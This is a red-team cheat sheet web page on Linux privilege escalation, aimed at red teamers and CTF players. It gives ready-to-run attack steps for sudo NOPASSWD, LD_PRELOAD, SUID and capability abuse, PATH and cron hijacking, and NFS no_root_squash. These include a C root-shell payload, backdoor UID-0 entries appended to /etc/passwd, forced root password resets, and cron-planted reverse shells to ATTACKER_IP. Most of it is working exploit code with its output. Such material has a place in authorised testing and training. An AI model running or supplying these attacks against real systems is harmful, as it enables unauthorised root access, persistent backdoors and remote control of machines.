asbawy:~/cheatsheet$ explorer .

/cheatsheet — quick_ref

Field-tested commands, payloads, and shortcuts — all in one place.

cheatsheet_explorer
~linuxprivesc-exploitation.mdx

Linux Privilege Escalation: Basics & Exploitation

Kill chains for sudo abuse, SUID/capabilities, PATH hijacking, cron exploitation, NFS no_root_squash, and runtime process hunting with pspy. Built for Red Teamers and CTF players who skip the theory.

Table of Contents


Sudo Abuse

NOPASSWD → Root Shell

~ / bash
victim@vuln:~$ sudo -l
Matching Defaults entries for victim on target:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User victim may run the following commands on target:
    (ALL) NOPASSWD: /bin/cat

Why it works: The binary executes with root's effective UID, giving you root-level file access regardless of your own privileges.

Every NOPASSWD binary is a potential root shell. Cross-reference immediately at GTFOBins → sudo.

Don't stop at the obvious ones. cat, less, cp, tee, dd — anything that can read or write arbitrary files as root can be used to compromise /etc/shadow, /etc/passwd, or deploy SSH keys. nmap, vim, find, perl, python, awk each have direct shell escape entries.


Application Function Abuse

When a binary has no GTFOBins entry, look for flags that accept a file path as input. Apache2 is the canonical example:

~ / bash
sudo apache2 -C "LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so" -f /etc/shadow

Why it works: Apache's -f flag loads an alternate config file. When pointed at /etc/shadow, it fails to parse — but the error message prints the first line of the file, which is the root hash.


LD_PRELOAD Kill Chain

I've written about this vector repeatedly on LinkedIn because it keeps surfacing in real engagements. env_keep+=LD_PRELOAD in production sudoers files is far more common than defenders realize — and it's trivially exploitable. Do not skip this check.

Precondition: sudo -l output shows env_keep+=LD_PRELOAD alongside at least one NOPASSWD binary.

~ / bash
victim@vuln:~$ sudo -l
Matching Defaults entries for victim on this host:
    env_reset, env_keep+=LD_PRELOAD

User victim may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/vim

Why it works: env_keep preserves LD_PRELOAD across the privilege boundary. The shared library is loaded into the sudo-launched process before main() runs, so _init() executes as root.


Phase 1 — Write the Payload

~ / c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

unsetenv("LD_PRELOAD") is critical — without it, the shell it spawns will also try to preload your library and loop or crash.


Phase 2 — Compile as Shared Object

~ / bash
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
  • -fPIC — position-independent code (required for shared objects)
  • -shared — produce a .so instead of an executable
  • -nostartfiles — skip the standard C startup routines (since we're using _init)

Phase 3 — Execute

~ / bash
victim@vuln:~$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim)
victim@vuln:~$ sudo LD_PRELOAD=/tmp/shell.so find
root@vuln:~# id
uid=0(root) gid=0(root) groups=0(root)

Any NOPASSWD binary works as the trigger — find, vim, iftop. The binary's function is irrelevant; it just needs to reach sudo's exec path.


SUID & Capabilities

These are two expressions of the same problem: a binary that executes with elevated privileges without requiring the calling user to have them. SUID sets the effective UID at the filesystem level; capabilities grant specific kernel privileges to the binary itself. Both are invisible to sudo -l and both bypass standard privilege controls.

SUID — Discovery & Exploitation

Key output to scan — flag any non-standard binaries immediately:

~ / bash
victim@vuln:~$ find / -type f -perm -04000 -ls 2>/dev/null
816078   12 -rwsr-sr-x   1 root  staff    9861 May 14  2017 /usr/local/bin/suid-so
473326  188 -rwsr-xr-x   1 root  root   188328 Apr 15  2010 /bin/nano
815723  948 -rwsr-xr-x   1 root  root   963691 May 13  2017 /usr/sbin/exim-4.84-3

Cross-reference every result: GTFOBins → SUID

Custom binaries not in GTFOBins are the real prize. Anything in /usr/local/, /opt/, or a user home directory with the SUID bit set is non-standard and warrants manual analysis (strings, ltrace, strace, or full reverse engineering with ghidra).


SUID + Writable /etc/passwd → Backdoor User

If /etc/passwd is writable directly (or you have a SUID binary like nano that can write to it), inject a root-equivalent user — no password cracking needed.

Phase 1 — Generate Password Hash

~ / bash
asbawy@kali> openssl passwd -1 -salt r3dT3am p4ssw0rd123
$1$r3dT3am$gFcSIFGa9VjzBMWFVbMSo1

Phase 2 — Append Backdoor Entry to /etc/passwd

~ / bash
# Format: username:hash:UID:GID:comment:home:shell
# UID=0 + GID=0 + /bin/bash = root shell
victim@vuln:~$ echo 'r3dteam:$1$r3dT3am$gFcSIFGa9VjzBMWFVbMSo1:0:0:root:/root:/bin/bash' >> /etc/passwd

Phase 3 — Switch User

~ / bash
victim@vuln:~$ su r3dteam
Password: p4ssw0rd123
root@vuln:~# id
uid=0(root) gid=0(root) groups=0(root)

Why it works: When /etc/passwd contains a password hash in the second field (instead of x), the system uses it directly — bypassing /etc/shadow entirely. UID 0 makes the account root-equivalent regardless of the username.


Capabilities — Discovery & Exploitation

~ / bash
victim@vuln:~$ getcap -r / 2>/dev/null
/home/victim/vim = cap_setuid+ep
/usr/bin/python3.10 = cap_setuid+ep
/usr/bin/tar = cap_dac_read_search+ep

Capabilities have no s bit — they are invisible to SUID scans. find -perm -04000 will not find them. getcap -r / 2>/dev/null is the only way. A binary with cap_setuid+ep is functionally equivalent to a SUID root binary.

Cross-reference all hits: GTFOBins → Capabilities

cap_setuid+ep — Vim exploit:

~ / bash
victim@vuln:~$ /home/victim/vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
root@vuln:~# id
uid=0(root) gid=0(root) groups=0(root)

cap_setuid+ep — Python exploit:

~ / bash
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

cap_dac_read_search+ep — tar file read:

~ / bash
/usr/bin/tar -cvf /tmp/shadow.tar /etc/shadow && cat /tmp/shadow.tar

PATH Hijacking

Precondition: A SUID binary (or root-executed script) calls another program without a full path (e.g., system("thm") instead of system("/usr/bin/thm")), and you control a directory that appears earlier in $PATH than the real binary's location.

Phase 1 — Identify the Vulnerable Binary

~ / bash
root@vuln:~# cat path_exp.c
#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("thm");
}
root@vuln:~# gcc path_exp.c -o program -w
root@vuln:~# chmod u+s program
root@vuln:~# ls -l
total 24
-rwsr-xr-x 1 root  root  16792 Jun 17 07:02 program
-rw-rw-r-- 1 alper alper    76 Jun 17 06:53 path_exp.c

Phase 2 — Find a Writable Directory

~ / bash
victim@vuln:~$ find / -type d -writable 2>/dev/null | sort -u
/tmp
/tmp/.ICE-unix
...

Phase 3 — Prepend Writable Directory to PATH

~ / bash
victim@vuln:~$ export PATH=/tmp:$PATH
victim@vuln:~$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Phase 4 — Plant the Malicious Payload

~ / bash
victim@vuln:~$ echo '/bin/bash' > /tmp/thm
victim@vuln:~$ chmod +x /tmp/thm

Phase 5 — Trigger

~ / bash
victim@vuln:~$ whoami
victim
victim@vuln:~$ ./program
root@vuln:~# whoami
root

Why it works: system("thm") inherits the calling process's $PATH. When the SUID binary runs with root's effective UID and searches for thm, it finds your /tmp/thm first. The shell it spawns inherits the elevated privileges.

Spot the pattern in any binary. Run strings ./suspicious_suid_binary and look for short names without /. Any unqualified command call (backup, cleanup, service, python) is a candidate. Confirm with ltrace ./binary to see the exact system() call at runtime.


Cron Job Exploitation

Enumerate first. cat /etc/crontab, ls /etc/cron.d/, and cat /var/spool/cron/crontabs/*. The technique you use depends entirely on what you find.

Writable Script

Precondition: A cron job owned by root calls a script you can write to.

~ / bash
victim@vuln:~$ cat /etc/crontab | grep root
* * * * * root /home/victim/Desktop/backup.sh

victim@vuln:~$ ls -la /home/victim/Desktop/backup.sh
-rwxrwxrwx 1 root root 142 Apr 28 14:23 backup.sh

Payload — Reverse Shell:

~ / bash
cat > /home/victim/Desktop/backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
~ / bash
asbawy@kali:~$ nc -nlvp 4444
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 43550
root@vuln:~# id
uid=0(root) gid=0(root) groups=0(root)

Alternative — Backdoor Root Password:

~ / bash
echo 'echo "root:newpass123" | chpasswd' >> /home/victim/Desktop/backup.sh
# Wait for next cron tick, then:
su root    # password: newpass123
Cron PATH Hijacking

Precondition: The crontab defines a PATH variable, a job references a script without an absolute path, and that script doesn't exist — but the cron PATH includes a directory you can write to.

~ / bash
victim@vuln:~$ cat /etc/crontab
SHELL=/bin/sh
PATH=/home/victim:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * * root antivirus.sh      # no absolute path

victim@vuln:~$ locate antivirus.sh
                                  # returns nothing; script doesn't exist

Cron will search the crontab PATH left-to-right for antivirus.sh. /home/victim is both first in that PATH and writable by you.

~ / bash
cat > /home/victim/antivirus.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /home/victim/antivirus.sh
~ / bash
nc -nlvp 4444
# Waits for next cron tick (≤60s for * * * * * jobs)

Why it works: The crontab PATH is separate from the system $PATH. Cron resolves unqualified script names against it. If you own a directory earlier in that list, you win.

All cron directories to check:

~ / bash
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
ls -la /var/spool/cron/crontabs/

NFS — no_root_squash

Why it works: no_root_squash tells the NFS server to trust the root identity of connecting clients. When you mount the share as root on your attacker machine, files you create there are owned by root on the target. That includes SUID binaries.

Phase 1 — Identify Vulnerable Exports (from Target)

~ / bash
victim@vuln:~$ cat /etc/exports
/tmp     *(rw,sync,insecure,no_root_squash,no_subtree_check)
/backups *(rw,sync,insecure,no_root_squash,no_subtree_check)

Any share with no_root_squash and rw is exploitable.


Phase 2 — Enumerate Shares & Mount (from Attacker)

~ / bash
asbawy@kali:~$ showmount -e TARGET_IP
Export list for TARGET_IP:
/backups          *
/tmp              *
~ / bash
mkdir /tmp/nfs_mount
mount -o rw TARGET_IP:/backups /tmp/nfs_mount
cd /tmp/nfs_mount

Phase 3 — Write SUID Payload to the Share (from Attacker)

~ / c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() 
{
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}
~ / bash
gcc nfs.c -o nfs -w -static
chmod +s nfs
ls -l nfs
# -rwsr-sr-x 1 root root 16712 Jun 17 16:24 nfs

The compiled binary is now sitting in /backups on the target, owned by root with SUID set — because you wrote it as root on your machine via the no_root_squash share.


Phase 4 — Execute on Target

~ / bash
user@target:/backups$ ls -l nfs
-rwsr-sr-x 1 root root 16712 Jun 17 16:24 nfs

user@target:/backups$ ./nfs
root@target:/backups# id
uid=0(root) gid=0(root) groups=0(root)

-static is important. The target and attacker machines may have different glibc versions. A dynamically linked binary compiled on Kali can fail with "No such file or directory" on an older target. Static linking bundles everything the binary needs.


pspy — Catching What Automated Tools Miss

pspy is your best weapon for discovering undocumented cron jobs, scripts run by root in real time, and any process that fires and exits before automated enumeration tools can see it.

LinPeas, LinEnum, and every other static scanner take a snapshot at the moment they run. A cron job that fires every 5 minutes and completes in 2 seconds is completely invisible to them. pspy catches it every time.

GitHub: github.com/DominicBreuker/pspy

Why it works: Instead of polling /proc on an interval (slow, misses fast processes), pspy uses inotify watches on key directories (/etc, /tmp, /usr, /var, /bin). When filesystem activity fires, it immediately scans /proc to capture the new process — even short-lived ones.

~ / bash
# Upload pspy64 to target (wget, curl, SCP, or nc)
chmod +x pspy64
./pspy64

Sample output — catching a writable root script:

~ / bash
2026/02/10 06:40:16 CMD: UID=0  PID=1937  | /bin/bash /root/run-backup.sh
2026/02/10 06:40:16 CMD: UID=0  PID=1938  | tar -czf /var/backup/syslog.tar.gz /var/log/syslog
2026/02/10 06:40:16 CMD: UID=0  PID=1942  | /bin/bash /usr/local/bin/rm-tmp.sh

Identify, Inspect, Exploit:

~ / bash
victim@vuln:~$ ls -la /usr/local/bin/rm-tmp.sh
-rwxrwxrwx 1 root root 57 Jan 20 10:27 /usr/local/bin/rm-tmp.sh

victim@vuln:~$ cat /usr/local/bin/rm-tmp.sh
#!/bin/bash
rm -r /tmp/*

World-writable (rwxrwxrwx) and running as root on a loop. Append your payload:

~ / bash
victim@vuln:~$ echo 'echo "root:r3dteam123" | chpasswd' >> /usr/local/bin/rm-tmp.sh
# Wait for next execution, then:
victim@vuln:~$ su root    # password: r3dteam123

pspy use cases beyond cron:

  • Catch scripts called by systemd services at startup
  • Observe what happens when a web application triggers a system command
  • Identify credentials passed as command-line arguments (e.g., mysql -uroot -pSECRET)
  • Spot SUID binaries being called by other processes — reveals how they're being invoked

Public Exploits & Kernel CVEs

The exploit workflow — do not skip steps:

Step 1 — Enumerate

~ / bash
uname -r           # kernel release — exact string for searchsploit
uname -a           # full info including architecture
cat /etc/os-release

Step 2 — Research

~ / bash
searchsploit linux kernel $(uname -r)
searchsploit linux local privilege escalation $(lsb_release -rs 2>/dev/null)

Step 3 — Evaluate Before Running

  • Read the exploit source — understand what it does and what it modifies
  • Check requirements: gcc, kernel config options (CONFIG_*), specific versions
  • Assess crash risk — kernel exploits can panic the machine; never run without reading first

Step 4 — Transfer & Compile

~ / bash
# If gcc is available on target:
gcc exploit.c -o exploit
chmod +x exploit
./exploit

# If not, cross-compile on attacker matching target arch:
gcc -static exploit.c -o exploit -m64

Step 5 — Verify

~ / bash
whoami && id

Linux Exploit Suggester — Automate CVE Matching

~ / bash
./linux-exploit-suggester.sh

Sample output (condensed):

~ / bash
Kernel version: 6.17.0 | Architecture: x86_64 | Distribution: ubuntu 24.04

[+] [CVE-2021-4034] PwnKit
    Tags: ubuntu=10-21, debian=7-11, fedora, manjaro
    Download: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit
    Tags: mint=19, ubuntu=18|20, debian=10
    Download: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2022-2586] nft_object UAF
    Tags: ubuntu=20.04&#123;kernel:5.12.13&#125;
    Comments: kernel.unprivileged_userns_clone=1 required

"Less probable" doesn't mean impossible. LES rates exposure based on version-tag matching, not actual system configuration. A "less probable" CVE may still apply if the matching config options are present. Always cross-check with the exploit's specific requirements before dismissing.


Automation Tools

Run these after manual enumeration — they confirm what you find and catch things you miss. No single tool covers every vector.

ToolGitHubWhen to use
LinPeascarlospolop/PEASS-ngFirst run — full system sweep
LinEnumrebootuser/LinEnumQuick structured info dump
LESThe-Z-Labs/linux-exploit-suggesterKernel CVE matching only
LSEdiego-treitos/linux-smart-enumerationVerbose, adjustable detail levels
Linux Priv Checkerlinted/linuxprivcheckerInline Python-based flag detection
pspyDominicBreuker/pspyRuntime process & cron hunting

Tooling is environment-dependent. No gcc on target? Precompile. No Python? Use the bash variant of LinPeas. No wget or curl? Transfer via nc, SCP, or base64-encode and paste directly. Always have a fallback.

Automated tools can and do miss things — custom SUID binaries, unusual cron paths, no_root_squash shares on non-standard ports, capabilities on non-standard binaries. Treat tool output as a starting point, not a conclusion.